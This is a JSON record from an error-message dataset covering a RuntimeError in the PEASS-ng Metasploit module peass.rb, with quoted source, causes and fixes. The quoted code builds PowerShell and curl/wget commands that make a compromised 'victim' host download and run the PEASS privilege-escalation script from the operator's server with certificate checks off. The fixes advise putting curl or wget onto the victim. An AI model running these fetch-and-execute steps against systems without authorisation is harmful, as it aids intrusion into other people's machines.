{"record":{"id":"030dfb0641dd7ecd","repo":"peass-ng/PEASS-ng","slug":"neither-curl-nor-wget-were-found-in-victim-unset","errorCode":null,"errorMessage":"Neither curl nor wget were found in victim, unset the SRVHOST option!","messagePattern":"Neither curl nor wget were found in victim, unset the SRVHOST option!","errorType":"exception","errorClass":"RuntimeError","httpStatus":null,"severity":"error","filePath":"metasploit/peass.rb","lineNumber":203,"sourceCode":"      http_port = \":#{datastore['SRVPORT']}\"\n      http_path = datastore[\"URIPATH\"]\n      url_download_peass = http_protocol + http_ip + http_port + http_path      \n      print_good(\"Listening in #{url_download_peass}\")\n      \n      # Configure the download of the script in Windows\n      if session.platform.include?(\"win\")\n        cmd = \"$ProgressPreference = 'SilentlyContinue';\"\n        cmd += get_bypass_tls_cert()\n        cmd += \"$#{ps_var1} = Invoke-WebRequest \\\"#{url_download_peass}\\\" -UseBasicParsing | Select-Object -ExpandProperty Content;\"\n      \n      # Configure the download of the script in Unix\n      else\n        cmd = \"curl -k -s \\\"#{url_download_peass}\\\"\"\n        curl_path = cmd_exec(\"command -v curl\")\n        if ! curl_path.include?(\"curl\")\n          cmd = \"wget --no-check-certificate -q -O - \\\"#{url_download_peass}\\\"\"\n          wget_path = cmd_exec(\"command -v wget\")\n          raise 'Neither curl nor wget were found in victim, unset the SRVHOST option!' unless wget_path.include?(\"wget\")\n        end\n      end\n    end\n    \n    # Run PEASS script\n    begin\n      tmpout = \"\\n\"\n      print_status \"Running PEASS...\"\n\n      # If Windows, suppose Winpeas was loaded\n      if session.platform.include?(\"win\")\n        cmd += load_winpeas\n        cmd += \"$a = [winPEAS.Program]::Main(\\\"#{datastore['PARAMETERS']}\\\");\"\n        cmd += last_cmd\n        # Transform to Base64 in UTF-16LE format\n        cmd_utf16le = cmd.encode(\"utf-16le\")\n        cmd_utf16le_b64 = Base64.encode64(cmd_utf16le).gsub(/\\r?\\n/, \"\")\n        ","sourceCodeStart":185,"sourceCodeEnd":221,"githubUrl":"https://github.com/peass-ng/PEASS-ng/blob/53fb989abc2219826385683a6fee826bd6cd38d6/metasploit/peass.rb#L185-L221","documentation":"When SRVHOST/SRVPORT are configured, peass.rb serves the PEASS script over HTTP and needs the victim to download it with curl or wget. If `command -v curl` fails, it tries wget; if wget is also missing, it raises this error, telling you to unset SRVHOST so the script is written directly to the victim instead of downloaded.","triggerScenarios":"Running peass with SRVHOST set (URL download mode) on a Unix session where both `command -v curl` and `command -v wget` return nothing.","commonSituations":"Minimal images without either downloader; meterpreter shell sessions on hardened hosts; PATH-restricted environments.","solutions":["Unset the SRVHOST option so the module embeds/writes the script directly instead of downloading it","Install curl or wget on the victim (apt/yum install curl)","Upload curl/wget binary to the victim and ensure it is in PATH"],"exampleFix":"# before\nrun_single(\"use multi/meterpreter/peass; set SRVHOST 10.0.0.5; run\")\n# after\nrun_single(\"use multi/meterpreter/peass; unset SRVHOST; run\")","handlingStrategy":"validation","validationCode":"if session.platform !~ /win/\n  has_dl = [\"curl\", \"wget\"].any? { |c| session.shell_command_token(\"command -v #{c}\").to_s.include?(c) }\n  raise \"No curl/wget; unset SRVHOST\" unless has_dl\nend","typeGuard":null,"tryCatchPattern":"begin\n  run_single(\"use multi/meterpreter/peass; set SRVHOST 10.0.0.5; run\")\nrescue ::Exception => e\n  print_error(\"#{e.message}; retrying without SRVHOST\")\n  run_single(\"use multi/meterpreter/peass; unset SRVHOST; run\")\nend","preventionTips":["Check curl/wget availability before setting SRVHOST","Default to unset SRVHOST on stripped/minimal targets","Install curl on the victim if HTTP delivery is required"],"tags":["metasploit","network","victim-environment"],"backgroundTag":"missing-binary-on-target","analyzedSha":"53fb989abc2219826385683a6fee826bd6cd38d6","analyzedAt":"2026-09-02T04:25:09.259Z","contentChangedAt":null,"schemaVersion":2},"datasetVersion":"2026-09-09T11:17:12.671Z"}